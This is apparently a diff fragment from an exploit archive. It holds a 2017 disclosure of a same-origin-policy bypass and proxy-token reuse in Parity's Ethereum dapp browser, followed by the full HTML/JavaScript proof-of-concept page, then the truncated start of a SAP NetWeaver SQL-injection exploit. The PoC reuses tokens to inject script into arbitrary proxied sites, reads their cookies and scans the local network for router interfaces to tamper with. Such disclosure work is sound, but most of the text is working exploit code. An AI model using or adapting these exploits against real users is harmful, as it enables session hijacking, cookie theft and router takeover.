|
||||||
|
interactions, XHR or injecting scripts/DOM elements to mislead the
|
||||||
|
user or to cause other unspecified damage.
|
||||||
|
|
||||||
|
When navigating to a website with the built-in parity webbrowser a webproxy request
|
||||||
|
token is requested and sent along an encoded request for an url. For example, navigating
|
||||||
|
parity to http://oststrom.com the url gets turned into a proxy url like http://127.0.0.1:8080/web/8X4Q4EBJ71SM2CK6E5AQ6YBNB4NPGX3ME0X2YBVFEDT76X3JDXPJWRVFDM of
|
||||||
|
the form http://127.0.0.1:8080/web/[base32_encode(token+url)]. A malicious dapp can use
|
||||||
|
this information to decode its own url, extract the token and reuse it for any other
|
||||||
|
url as the token is not locked to the url. The PoC exploits this in order to load any
|
||||||
|
other website into a same-origin iframe by reusing the proxy token.
|
||||||
|
|
||||||
|
Code see [2]
|
||||||
|
|
||||||
|
//see attached PoC - index.html / PoC
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
----------------
|
||||||
|
|
||||||
|
Prerequisites:
|
||||||
|
|
||||||
|
* (if hosted locally) modify /etc/hosts to resolve your testdomain to your webserver
|
||||||
|
* make `index.html` accessible on a webserver (e.g. `cd /path/to/index.html; python -m SimpleHTTPServer 80`)
|
||||||
|
|
||||||
|
1. launch parity, navigate to the built-in webbrowser (http://127.0.0.1:8180/#/web)
|
||||||
|
2. navigate the built-in parity webbrowser to where the PoC `index.html` is hosted (e.g. [4])
|
||||||
|
3. follow the instructions.
|
||||||
|
4. Issue 1: navigate to some websites to have them set cookies, reload the PoC page and click "Display Cookies". Note that while the main request is proxied by parity, subsequent calls might not be (e.g. xhr, resources). That means you'll only see cookies set by the main site as only the initial call shares the origin `localhost:8080`.
|
||||||
|
5. Issue 2: enter an url into the textbox and hit `Spawn SOP Iframe`. A new iframe will appear on the bottom of the page containing the proxied website. Note that the calling website has full script/dom/xhr access to the proxied target. You can also use the "Display Cookies" button from Issue 1 to show cookies that have been merged into the origin by loading the proxied iframe.
|
||||||
|
6. Demo 2: Just a PoC to find local-lan web interfaces (e.g. your gateways web interface) and potentially mess with its configuration (e.g. router with default password on your lan being reconfigured by malicious dapp that excploits the token reuse issue 2)
|
||||||
|
|
||||||
|
//tested with latest chrome
|
||||||
|
|
||||||
|
|
||||||
|
Notes
|
||||||
|
-----
|
||||||
|
|
||||||
|
* Commit [3] (first in 1.7.0)
|
||||||
|
* Does not fix Issue #1 - sites are generally put into same origin due to proxy
|
||||||
|
* Fixes Issue #2 - Token Reuse
|
||||||
|
* Parity now added a note that browsing websites with their browser is insecure
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
* Issue #1 is not yet fixed as the cookie of instagram.com is still shown.
|
||||||
|
* Parity v1.7.12 added a note.
|
||||||
|
|
||||||
|
Timeline
|
||||||
|
--------
|
||||||
|
|
||||||
|
31.05.2017 - first contact, forwarded to parity
|
||||||
|
17.06.2017 - provided PoC
|
||||||
|
19.06.2017 - response: not critical issue due to internal browser being a dapp browser and not a generic web browser
|
||||||
|
20.06.2017 - provided more information
|
||||||
|
21.06.2017 - response: not critical issue due to internal browser being a dapp browser and not a generic web browser
|
||||||
|
21.06.2017 - response: follow-up - looking into means to lock the token to a website
|
||||||
|
22.06.2017 - fix ready [3]
|
||||||
|
10.01.2018 - public disclosure
|
||||||
|
|
||||||
|
References
|
||||||
|
----------
|
||||||
|
|
||||||
|
[1] https://parity.io/
|
||||||
|
[2] https://github.com/paritytech/parity/blame/e8b418ca03866fd952d456830b30e9225c81035a/dapps/src/web.rs
|
||||||
|
[3] https://github.com/paritytech/parity/commit/53609f703e2f1af76441344ac3b72811c726a215
|
||||||
|
[4] https://tintinweb.github.io/pub/pocs/cve-2017-18016/
|
||||||
|
|
||||||
|
|
||||||
|
Contact
|
||||||
|
-------
|
||||||
|
|
||||||
|
https://github.com/tintinweb
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<meta name="description" content="cve-2017-18016 paritytech parity same origin policy bypass sop">
|
||||||
|
<meta name="author" content="github.com/tintinweb">
|
||||||
|
<!--<link rel="icon" href="favicon.ico">-->
|
||||||
|
|
||||||
|
<title>Ethereum | Parity SOP Vulnerability</title>
|
||||||
|
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
|
||||||
|
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
|
||||||
|
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
|
||||||
|
|
||||||
|
<script type="text/javascript">
|
||||||
|
;(function(){
|
||||||
|
|
||||||
|
// This would be the place to edit if you want a different
|
||||||
|
// Base32 implementation
|
||||||
|
|
||||||
|
var alphabet = '0123456789ABCDEFGHJKMNPQRSTVWXYZ'.toLowerCase()
|
||||||
|
var alias={}
|
||||||
|
//var alias = { o:0, i:1, l:1, s:5 }
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Build a lookup table and memoize it
|
||||||
|
*
|
||||||
|
* Return an object that maps a character to its
|
||||||
|
* byte value.
|
||||||
|
*/
|
||||||
|
|
||||||
|
var lookup = function() {
|
||||||
|
var table = {}
|
||||||
|
// Invert 'alphabet'
|
||||||
|
for (var i = 0; i < alphabet.length; i++) {
|
||||||
|
table[alphabet[i]] = i
|
||||||
|
}
|
||||||
|
// Splice in 'alias'
|
||||||
|
for (var key in alias) {
|
||||||
|
if (!alias.hasOwnProperty(key)) continue
|
||||||
|
table[key] = table['' + alias[key]]
|
||||||
|
}
|
||||||
|
lookup = function() { return table }
|
||||||
|
return table
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A streaming encoder
|
||||||
|
*
|
||||||
|
* var encoder = new base32.Encoder()
|
||||||
|
* var output1 = encoder.update(input1)
|
||||||
|
* var output2 = encoder.update(input2)
|
||||||
|
* var lastoutput = encode.update(lastinput, true)
|
||||||
|
*/
|
||||||
|
|
||||||
|
function Encoder() {
|
||||||
|
var skip = 0 // how many bits we will skip from the first byte
|
||||||
|
var bits = 0 // 5 high bits, carry from one byte to the next
|
||||||
|
|
||||||
|
this.output = ''
|
||||||
|
|
||||||
|
// Read one byte of input
|
||||||
|
// Should not really be used except by "update"
|
||||||
|
this.readByte = function(byte) {
|
||||||
|
// coerce the byte to an int
|
||||||
|
if (typeof byte == 'string') byte = byte.charCodeAt(0)
|
||||||
|
|
||||||
|
if (skip < 0) { // we have a carry from the previous byte
|
||||||
|
bits |= (byte >> (-skip))
|
||||||
|
} else { // no carry
|
||||||
|
bits = (byte << skip) & 248
|
||||||
|
}
|
||||||
|
|
||||||
|
if (skip > 3) {
|
||||||
|
// not enough data to produce a character, get us another one
|
||||||
|
skip -= 8
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
if (skip < 4) {
|
||||||
|
// produce a character
|
||||||
|
this.output += alphabet[bits >> 3]
|
||||||
|
skip += 5
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// Flush any remaining bits left in the stream
|
||||||
|
this.finish = function(check) {
|
||||||
|
var output = this.output + (skip < 0 ? alphabet[bits >> 3] : '') + (check ? '$' : '')
|
||||||
|
this.output = ''
|
||||||
|
return output
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Process additional input
|
||||||
|
*
|
||||||
|
* input: string of bytes to convert
|
||||||
|
* flush: boolean, should we flush any trailing bits left
|
||||||
|
* in the stream
|
||||||
|
* returns: a string of characters representing 'input' in base32
|
||||||
|
*/
|
||||||
|
|
||||||
|
Encoder.prototype.update = function(input, flush) {
|
||||||
|
for (var i = 0; i < input.length; ) {
|
||||||
|
i += this.readByte(input[i])
|
||||||
|
}
|
||||||
|
// consume all output
|
||||||
|
var output = this.output
|
||||||
|
this.output = ''
|
||||||
|
if (flush) {
|
||||||
|
output += this.finish()
|
||||||
|
}
|
||||||
|
return output
|
||||||
|
}
|
||||||
|
|
||||||
|
// Functions analogously to Encoder
|
||||||
|
|
||||||
|
function Decoder() {
|
||||||
|
var skip = 0 // how many bits we have from the previous character
|
||||||
|
var byte = 0 // current byte we're producing
|
||||||
|
|
||||||
|
this.output = ''
|
||||||
|
|
||||||
|
// Consume a character from the stream, store
|
||||||
|
// the output in this.output. As before, better
|
||||||
|
// to use update().
|
||||||
|
this.readChar = function(char) {
|
||||||
|
if (typeof char != 'string'){
|
||||||
|
if (typeof char == 'number') {
|
||||||
|
char = String.fromCharCode(char)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
char = char.toLowerCase()
|
||||||
|
var val = lookup()[char]
|
||||||
|
if (typeof val == 'undefined') {
|
||||||
|
// character does not exist in our lookup table
|
||||||
|
return // skip silently. An alternative would be:
|
||||||
|
// throw Error('Could not find character "' + char + '" in lookup table.')
|
||||||
|
}
|
||||||
|
val <<= 3 // move to the high bits
|
||||||
|
byte |= val >>> skip
|
||||||
|
skip += 5
|
||||||
|
if (skip >= 8) {
|
||||||
|
// we have enough to preduce output
|
||||||
|
this.output += String.fromCharCode(byte)
|
||||||
|
skip -= 8
|
||||||
|
if (skip > 0) byte = (val << (5 - skip)) & 255
|
||||||
|
else byte = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
this.finish = function(check) {
|
||||||
|
var output = this.output + (skip < 0 ? alphabet[bits >> 3] : '') + (check ? '$' : '')
|
||||||
|
this.output = ''
|
||||||
|
return output
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Decoder.prototype.update = function(input, flush) {
|
||||||
|
for (var i = 0; i < input.length; i++) {
|
||||||
|
this.readChar(input[i])
|
||||||
|
}
|
||||||
|
var output = this.output
|
||||||
|
this.output = ''
|
||||||
|
if (flush) {
|
||||||
|
output += this.finish()
|
||||||
|
}
|
||||||
|
return output
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Convenience functions
|
||||||
|
*
|
||||||
|
* These are the ones to use if you just have a string and
|
||||||
|
* want to convert it without dealing with streams and whatnot.
|
||||||
|
*/
|
||||||
|
|
||||||
|
// String of data goes in, Base32-encoded string comes out.
|
||||||
|
function encode(input) {
|
||||||
|
var encoder = new Encoder()
|
||||||
|
var output = encoder.update(input, true)
|
||||||
|
return output
|
||||||
|
}
|
||||||
|
|
||||||
|
// Base32-encoded string goes in, decoded data comes out.
|
||||||
|
function decode(input) {
|
||||||
|
var decoder = new Decoder()
|
||||||
|
var output = decoder.update(input, true)
|
||||||
|
return output
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sha1 functions wrap the hash function from Node.js
|
||||||
|
*
|
||||||
|
* Several ways to use this:
|
||||||
|
*
|
||||||
|
* var hash = base32.sha1('Hello World')
|
||||||
|
* base32.sha1(process.stdin, function (err, data) {
|
||||||
|
* if (err) return console.log("Something went wrong: " + err.message)
|
||||||
|
* console.log("Your SHA1: " + data)
|
||||||
|
* }
|
||||||
|
* base32.sha1.file('/my/file/path', console.log)
|
||||||
|
*/
|
||||||
|
|
||||||
|
var crypto, fs
|
||||||
|
function sha1(input, cb) {
|
||||||
|
if (typeof crypto == 'undefined') crypto = require('crypto')
|
||||||
|
var hash = crypto.createHash('sha1')
|
||||||
|
hash.digest = (function(digest) {
|
||||||
|
return function() {
|
||||||
|
return encode(digest.call(this, 'binary'))
|
||||||
|
}
|
||||||
|
})(hash.digest)
|
||||||
|
if (cb) { // streaming
|
||||||
|
if (typeof input == 'string' || Buffer.isBuffer(input)) {
|
||||||
|
try {
|
||||||
|
return cb(null, sha1(input))
|
||||||
|
} catch (err) {
|
||||||
|
return cb(err, null)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!typeof input.on == 'function') return cb({ message: "Not a stream!" })
|
||||||
|
input.on('data', function(chunk) { hash.update(chunk) })
|
||||||
|
input.on('end', function() { cb(null, hash.digest()) })
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// non-streaming
|
||||||
|
if (input) {
|
||||||
|
return hash.update(input).digest()
|
||||||
|
}
|
||||||
|
return hash
|
||||||
|
}
|
||||||
|
sha1.file = function(filename, cb) {
|
||||||
|
if (filename == '-') {
|
||||||
|
process.stdin.resume()
|
||||||
|
return sha1(process.stdin, cb)
|
||||||
|
}
|
||||||
|
if (typeof fs == 'undefined') fs = require('fs')
|
||||||
|
return fs.stat(filename, function(err, stats) {
|
||||||
|
if (err) return cb(err, null)
|
||||||
|
if (stats.isDirectory()) return cb({ dir: true, message: "Is a directory" })
|
||||||
|
return sha1(require('fs').createReadStream(filename), cb)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
var base32 = {
|
||||||
|
Decoder: Decoder,
|
||||||
|
Encoder: Encoder,
|
||||||
|
encode: encode,
|
||||||
|
decode: decode,
|
||||||
|
sha1: sha1
|
||||||
|
}
|
||||||
|
|
||||||
|
if (typeof window !== 'undefined') {
|
||||||
|
// we're in a browser - OMG!
|
||||||
|
window.base32 = base32
|
||||||
|
}
|
||||||
|
|
||||||
|
if (typeof module !== 'undefined' && module.exports) {
|
||||||
|
// nodejs/browserify
|
||||||
|
module.exports = base32
|
||||||
|
}
|
||||||
|
})();
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<script type="text/javascript">
|
||||||
|
function new_parity_proxy_url(destination){
|
||||||
|
//get current webproxy token (we'll just be reusing this one)
|
||||||
|
var url_decoded = base32.decode(document.location.search.match(/web\/(.*)$/)[1]);
|
||||||
|
var token = url_decoded.split("+")[0];
|
||||||
|
console.log(document.location);
|
||||||
|
console.log(url_decoded);
|
||||||
|
console.log(token);
|
||||||
|
console.log(token + "+" + destination);
|
||||||
|
var new_url = document.location.origin + "/web/" + base32.encode(token + "+" + destination).toUpperCase();
|
||||||
|
console.log(new_url);
|
||||||
|
return new_url;
|
||||||
|
}
|
||||||
|
|
||||||
|
function sop_iframe_inject (destination){
|
||||||
|
d = document.createElement("div");
|
||||||
|
d.id=destination;
|
||||||
|
d.style="border-style: dashed";
|
||||||
|
document.body.appendChild(d);
|
||||||
|
|
||||||
|
d_data = document.createElement("div");
|
||||||
|
|
||||||
|
i = document.createElement("iframe");
|
||||||
|
i.sandbox = "allow-same-origin allow-forms allow-pointer-lock allow-scripts allow-popups allow-modals";
|
||||||
|
i.style = "resize: both; overflow: auto;"
|
||||||
|
d.appendChild(i);
|
||||||
|
d.appendChild(d_data);
|
||||||
|
var proxied_url = new_parity_proxy_url(destination);
|
||||||
|
i.onload = function() {
|
||||||
|
//fix the document removing the injection script
|
||||||
|
|
||||||
|
var doc = i.contentWindow.document;
|
||||||
|
var doc_html = doc.documentElement.outerHTML;
|
||||||
|
doc_html = doc_html.replace("<script src=\"\/parity-utils\/inject.js\"><\/script>","").replace("<\/head><body style=\"background-color: #FFFFFF;\">","");
|
||||||
|
doc.open();
|
||||||
|
doc.write(doc_html);
|
||||||
|
doc.close();
|
||||||
|
|
||||||
|
|
||||||
|
i.contentDocument.head.innerHTML = "<title>INJECTED</title>";
|
||||||
|
// just do anything
|
||||||
|
i.contentDocument.body.prepend("!--> Injected from parent frame!");
|
||||||
|
d_data.innerHTML = "<br><br>";
|
||||||
|
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] we have full control over iframe:'+destination+'</div>';
|
||||||
|
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] Child Frames Cookie value: <pre>' + i.contentDocument.cookie + '<pre></div>';
|
||||||
|
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] Child Frames dom title: <pre>' + i.contentDocument.head.title + '<pre></div>';
|
||||||
|
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] Child Frames window.location.href: <pre>' + i.contentWindow.location.href + '<pre></div>';
|
||||||
|
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] we have prepended a body element :<b>!--> Injected from parent frame!</b></div>';
|
||||||
|
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] we have removed inject.js from the target frame:'+destination+'<br></div>';
|
||||||
|
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] source (via xhr): <textarea>'+getUrl(proxied_url).responseText+'</textarea></div>';
|
||||||
|
};
|
||||||
|
|
||||||
|
//navigate to url (poor mans location setter :p)
|
||||||
|
i.contentWindow.location.replace(proxied_url);
|
||||||
|
}
|
||||||
|
|
||||||
|
function get_lan_ip(cb){
|
||||||
|
window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; //compatibility for firefox and chrome
|
||||||
|
var pc = new RTCPeerConnection({iceServers:[]}), noop = function(){};
|
||||||
|
pc.createDataChannel(""); //create a bogus data channel
|
||||||
|
pc.createOffer(pc.setLocalDescription.bind(pc), noop); // create offer and set local description
|
||||||
|
pc.onicecandidate = function(ice){ //listen for candidate events
|
||||||
|
if(!ice || !ice.candidate || !ice.candidate.candidate) return;
|
||||||
|
var myIP = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1];
|
||||||
|
cb(myIP);
|
||||||
|
pc.onicecandidate = noop;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function getUrl(url){
|
||||||
|
var xhr = new XMLHttpRequest;
|
||||||
|
xhr.open('GET', url, false); //synchronous.
|
||||||
|
xhr.send();
|
||||||
|
return xhr;
|
||||||
|
};
|
||||||
|
|
||||||
|
function find_local_web_interfaces(){
|
||||||
|
get_lan_ip(function(local_ip){
|
||||||
|
/** find routers on local lan segment
|
||||||
|
try .1 and .254 first, otherwise bruteforce
|
||||||
|
**/
|
||||||
|
var local_ip_netpart = local_ip.split(".").slice(0,3).join(".")
|
||||||
|
console.log("your local ip: "+local_ip);
|
||||||
|
console.log("testing lan segment: " + local_ip_netpart);
|
||||||
|
|
||||||
|
function get_candidate_ips(base){
|
||||||
|
var ret = new Array();
|
||||||
|
ret.push(1);
|
||||||
|
ret.push(254);
|
||||||
|
for(var i=2; i<254; i++){
|
||||||
|
ret.push(i);
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
var candidate_ips = get_candidate_ips();
|
||||||
|
|
||||||
|
for (i=0;i<candidate_ips.length;i++){
|
||||||
|
//synchronously. avoid dos'ing parity prx
|
||||||
|
var probe_ip = local_ip_netpart + "." + candidate_ips[i];
|
||||||
|
console.log("probing "+probe_ip);
|
||||||
|
var parity_probe_url = new_parity_proxy_url("http://"+probe_ip);
|
||||||
|
if (getUrl(parity_probe_url).status<400){
|
||||||
|
console.log("HIT! - "+probe_ip+" is available! " +parity_probe_url);
|
||||||
|
sop_iframe_inject(parity_probe_url);
|
||||||
|
if (document.getElementById("stop_on_first_hit").checked) return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<!-- Fixed navbar -->
|
||||||
|
<nav class="navbar navbar-inverse navbar-fixed-top">
|
||||||
|
<div class="container">
|
||||||
|
<div class="navbar-header">
|
||||||
|
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
|
||||||
|
<span class="sr-only">Toggle navigation</span>
|
||||||
|
<span class="icon-bar"></span>
|
||||||
|
<span class="icon-bar"></span>
|
||||||
|
<span class="icon-bar"></span>
|
||||||
|
</button>
|
||||||
|
<a class="navbar-brand" href="#">Parity Vulnerability</a>
|
||||||
|
</div>
|
||||||
|
<div id="navbar" class="navbar-collapse collapse">
|
||||||
|
<ul class="nav navbar-nav">
|
||||||
|
<li class="active"><a href="#">Home</a></li>
|
||||||
|
<li><a href="#contact">Contact</a></li>
|
||||||
|
</ul>
|
||||||
|
</div><!--/.nav-collapse -->
|
||||||
|
</div>
|
||||||
|
</nav>
|
||||||
|
|
||||||
|
<div class="container theme-showcase" role="main">
|
||||||
|
|
||||||
|
<!-- Main jumbotron for a primary marketing message or call to action -->
|
||||||
|
<div class="jumbotron">
|
||||||
|
<h1>Parity SOP Bypass</h1>
|
||||||
|
<p>Same-Origin Policy Bypass in Parity's Dapp Browser</p>
|
||||||
|
</div>
|
||||||
|
<div class="well">
|
||||||
|
<p>
|
||||||
|
<b>Disclaimer</b>
|
||||||
|
<pre>/* This program is free software. It comes without any warranty, to
|
||||||
|
* the extent permitted by applicable law. You can redistribute it
|
||||||
|
* and/or modify it under the terms of the GNU General Public License,
|
||||||
|
* Version 2, as published by the Free Software Foundation. See
|
||||||
|
* github.com/tintinweb/pub/tree/master/pocs/cve-2017-18016/
|
||||||
|
* for more details. */ </pre></p>
|
||||||
|
</div>
|
||||||
|
<p>
|
||||||
|
<button type="button" class="btn btn-primary" onclick="alert('Ok, thanks ;)')">I agree!</button>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div class="jumbotron">
|
||||||
|
<h1 class="display-4">Issue #1</h1>
|
||||||
|
<p class="lead">Same-Origin Policy (SOP) bypass vulnerability due to parity proxying websites</p>
|
||||||
|
<hr class="my-4">
|
||||||
|
<div>
|
||||||
|
Every webpage you browse to with parity's built-in browser (http://127.0.0.1:8180/#/web) is proxied via http://127.0.0.1:8080.
|
||||||
|
For example, when you browse to
|
||||||
|
<ul>
|
||||||
|
<li>http://google.com's the websites origin changes to 127.0.0.1:8080.</li>
|
||||||
|
<li>Navigating to http://oststrom.com changes the origin to 127.0.0.1:8080 as it is proxied via parity.</li>
|
||||||
|
</ul>
|
||||||
|
Both websites therefore share the same origin rendering a core feature of modern web browsers - the <b>Same-Origin Policy</b> - ineffective.
|
||||||
|
A website is same-origin if <b>proto, host and port</b> (iexplore does not check port) match.
|
||||||
|
Bypassing the SOP gives full control over XHR and DOM of child nodes (including iframe source) with the same origin.
|
||||||
|
</div>
|
||||||
|
<div class="alert alert-warning" role="alert">
|
||||||
|
<span class="badge badge-warning">Warning</span> This means, as there's only <u>one origin for all websites</u>, non domain restricted cookies are effectively shared with all websites.
|
||||||
|
</div>
|
||||||
|
<b><span class="badge badge-primary">DEMO #1</span> Cookies shared with other websites</b>
|
||||||
|
<ul>
|
||||||
|
<li>1) using parity's built-in browser, navigate to any website to set a cookie (e.g. http://google.com)</li>
|
||||||
|
<li>2) reload this this PoC (https://tintinweb.github.io/pub/pocs/cve-2017-18016/) </li>
|
||||||
|
<li>3) hit the <b>Display Cookies</b> button</li>
|
||||||
|
</ul>
|
||||||
|
<p class="lead">
|
||||||
|
<textarea id="txtdomcookie"></textarea><br>
|
||||||
|
<a class="btn btn-primary btn-lg" role="button" onclick="document.getElementById('txtdomcookie').value=document.cookie">Display Cookies</a>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div class="jumbotron">
|
||||||
|
<h1 class="display-4">Issue #2</h1>
|
||||||
|
<p class="lead">Parity WebProxy Token Reuse vulnerability</p>
|
||||||
|
<hr class="my-4">
|
||||||
|
<div>When navigating to a website with the built-in parity webbrowser a webproxy request token is requested and sent along an encoded request for an url. For example, navigating parity to http://oststrom.com the url gets turned into a proxy url like http://127.0.0.1:8080/web/8X4Q4EBJ71SM2CK6E5AQ6YBNB4NPGX3ME0X2YBVFEDT76X3JDXPJWRVFDM of the form http://127.0.0.1:8080/web/[base32_encode(token+url)].</div>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
|
||||||
|
<div class="alert alert-warning" role="alert">
|
||||||
|
<span class="badge badge-warning">Warning</span> When navigating to http://oststrom.com the website can detect that it has been proxied by checking the location.href.
|
||||||
|
It can further base32 decode and extract the web-proxy token and simply reuse it as the token is not bound to any specifiy request url or hostname allowing any website to create proxy urls and navigate to any other website.
|
||||||
|
</div>
|
||||||
|
<div class="alert alert-info" role="alert">
|
||||||
|
<span class="badge badge-info">Info</span> The parity webbrowser does not allow a proxied website to change the top frames location or open new windows (iframe sandbox).
|
||||||
|
</div>
|
||||||
|
<div class="alert alert-warning" role="alert">
|
||||||
|
<span class="badge badge-warning">Warning</span> However, it allows to perform XHR or embed iframes with script access to proxied locations of arbitrary websites. This allows one website to control any other website since they're both same origin (Issue 1).
|
||||||
|
</div>
|
||||||
|
<div class="alert alert-info" role="alert">
|
||||||
|
<span class="badge badge-info">Info</span> The controlling website has full scripting access to sub-iframes potentially allowing for service enumeration attacks or simulate user interaction.
|
||||||
|
</div>
|
||||||
|
<br><br>
|
||||||
|
<b><span class="badge badge-primary">DEMO #2</span> Full control of arbitrary websites via token reuse and SOP bypass</b>
|
||||||
|
<ul>
|
||||||
|
<li>1) enter url into the textbox</li>
|
||||||
|
<li>2) hit <b>Spawn SOP Iframe</b></li>
|
||||||
|
</ul>
|
||||||
|
<b>Notes:</b>
|
||||||
|
<ul>
|
||||||
|
<li><span class="badge badge-light">Note</span> the current page can modify/inject arbitrary DOM/scripting into the iframe, access cookies (only the ones stored for 127.0.0.1, potentially from prevs sessions with parity), manipulate change and reload the websites content (e.g. removing parity's inject.js), get the source via XHR</li>
|
||||||
|
<li><span class="badge badge-light">Note</span> some websites may not load due to js errors. However, since the website has full control it is likely the calling website can fix any js errors occuring in the subframe.</li>
|
||||||
|
<li><span class="badge badge-light">Note</span> Untested but likely possible: Prepare a transaction to send off ether via parity/web3 api or xhr, open an iframe or perform requests to directly authorize (may require unlock secret) or redress the UI to clickjack the authorization or perform other actions messing with the users account</li>
|
||||||
|
</ul>
|
||||||
|
<br>
|
||||||
|
<p class="lead">
|
||||||
|
<a class="btn btn-primary btn-lg" role="button" onclick="sop_iframe_inject(document.getElementById('dst').value)">Spawn SOP Iframe</a>
|
||||||
|
<input type=text value="http://myetherwallet.com" id="dst">
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<br><br>
|
||||||
|
<b><span class="badge badge-primary">DEMO #3</span> (Chrome) get local lan ip and service scan for web-enabled devices on the LAN to mess with them</b><br>
|
||||||
|
e.g. search for local router interfaces with default passwords and reconfigure it to perform DNS based redirection attacks (mitm) or similar
|
||||||
|
<ul>
|
||||||
|
<li>1) click 'Find LAN-Local WebInterfaces' to scan for devices listening on http port 80 within your LAN (IP .1 to .254)</li>
|
||||||
|
<li>2) an iframe with full control will be created for each device found on the lan</li>
|
||||||
|
<li>Note: might require some fixups for the iframe conted to be loaded completely due to parity webproxy messing with header scripts or websites unable to be loaded via iframes. XHR should work though and CSRF tokens can be read from XHR requests or iframe dom (if dom based). See javascript console for debug.</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<p class="lead">
|
||||||
|
<a class="btn btn-primary btn-lg" role="button" onclick="find_local_web_interfaces()">Find LAN-Local WebInterfaces</a>
|
||||||
|
</p>
|
||||||
|
<input type="checkbox" value="stop_on_first_hit" name="stop_on_first_hit" id="stop_on_first_hit"><label for="stop_on_first_hit">Stop on first device</label>
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="page-header">
|
||||||
|
<h1 id="contact">Contact</h1>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<a href="https://github.com/tintinweb">//tintinweb</a>
|
||||||
|
</div>
|
||||||
|
</div> <!-- /container -->
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
1812
exploits/multiple/local/43500.txt
Normal file
1812
exploits/multiple/local/43500.txt
Normal file
File diff suppressed because it is too large
Load diff
144
exploits/multiple/webapps/43495.py
Executable file
144
exploits/multiple/webapps/43495.py
Executable file
|
|
@ -0,0 +1,144 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# coding=utf-8
|
||||||
|
"""
|
||||||
|
Author: Vahagn Vardanyan https://twitter.com/vah_13
|
||||||
|
|
||||||
|
Bugs:
|
||||||
|
CVE-2016-2386 SQL injection
|
||||||
|
CVE-2016-2388 Information disclosure
|
||||||
|
CVE-2016-1910 Crypto issue
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Follow HTTP request is a simple PoC for anon time-based SQL injection (CVE-2016-2386) vulnerability in SAP NetWeaver AS Java UDDI 7.11-7.50
|
||||||
|
|
||||||
|
POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
|
||||||
|
SOAPAction:
|
||||||
|
Content-Type: text/xml;charset=UTF-8
|
||||||
|
Host: nw74:50000
|
||||||
|
Content-Length: 500
|
||||||
|
|
||||||
|
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sec="http://sap.com/esi/uddi/ejb/security/">
|
||||||
|
<soapenv:Header/>
|
||||||
|
<soapenv:Body>
|
||||||
|
<sec:deletePermissionById>
|
||||||
|
